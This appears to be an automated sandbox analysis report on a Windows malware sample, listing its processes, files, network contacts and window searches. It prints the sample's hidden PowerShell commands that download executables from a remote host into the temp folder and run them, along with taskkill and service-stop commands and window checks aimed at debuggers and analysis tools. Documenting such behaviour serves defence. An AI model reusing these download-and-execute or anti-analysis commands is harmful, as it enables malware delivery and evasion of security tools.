Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im HTTPDebuggerUI.exe
- '<SYSTEM32>\taskkill.exe' /f /im x64dbg-unsigned.exe
- '<SYSTEM32>\taskkill.exe' /f /im HTTPDebuggerSvc.exe
- '<SYSTEM32>\taskkill.exe' /FI "IMAGENAME eq cheatengine*" /IM * /F /T
- '<SYSTEM32>\taskkill.exe' /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
- '<SYSTEM32>\taskkill.exe' /FI "IMAGENAME eq processhacker*" /IM * /F /T
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: ''
Modifies file system
Creates the following files
- %TEMP%\bk527003.exe
- %TEMP%\bk158942.exe
- %TEMP%\bk239653.exe
- nul
Network activity
Connects to
- 'ch###.#er.moltafet.shop':80
- 'vc###ibrary.uk':443
- 'x1.#.lencr.org':80
- '19#.#32.214.172':80
- 'li#.##ltafet.shop':80
- 'localhost':3000
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- 'vc###ibrary.uk':443
UDP
- DNS ASK ch###.#er.moltafet.shop
- DNS ASK vc###ibrary.uk
- DNS ASK x1.#.lencr.org
- DNS ASK li#.##ltafet.shop
Miscellaneous
Searches for the following windows
- ClassName: 'Qt5QWindowIcon' WindowName: ''
- ClassName: 'WinDbgFrameClass' WindowName: ''
- ClassName: 'ID' WindowName: ''
- ClassName: '' WindowName: 'x64dbg'
- ClassName: '' WindowName: 'x32dbg'
- ClassName: '' WindowName: 'OllyDbg'
- ClassName: '' WindowName: 'WinDbg'
- ClassName: '' WindowName: 'IDA'
- ClassName: 'XTPMainFrame' WindowName: ''
- ClassName: '' WindowName: 'HTTP Debugger'
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: 'IDA: Quick start'
- ClassName: '' WindowName: 'Memory Viewer'
- ClassName: '' WindowName: 'Process List'
- ClassName: '' WindowName: 'KsDumper'
- ClassName: '' WindowName: 'x64dbg-unsigned'
Creates and executes the following
- '%TEMP%\bk158942.exe'
- '%TEMP%\bk239653.exe'
- '%TEMP%\bk527003.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK239653.exe; Start-Proc...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK239653.exe; Start-Process -FilePath $env:TEM...
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK527003.exe; Start-Proc...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK527003.exe; Start-Process -FilePath $env:TEM...
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK158942.exe; Start-Proc...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK158942.exe; Start-Process -FilePath $env:TEM...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK239653.exe; Start-Process -FilePath $env:TEMP\BK239653.exe...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK527003.exe; Start-Process -FilePath $env:TEMP\BK527003.exe...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK158942.exe; Start-Process -FilePath $env:TEMP\BK158942.exe...
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c chcp 65001 > nul
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im x64dbg-unsigned.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c sc stop HTTPDebuggerPro >nul 2>&1
- '<SYSTEM32>\sc.exe' stop HTTPDebuggerPro
- '<SYSTEM32>\cmd.exe' /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
- '%TEMP%\bk158942.exe' ' (with hidden window)
- '%TEMP%\bk239653.exe' ' (with hidden window)
- '%TEMP%\bk527003.exe' ' (with hidden window)
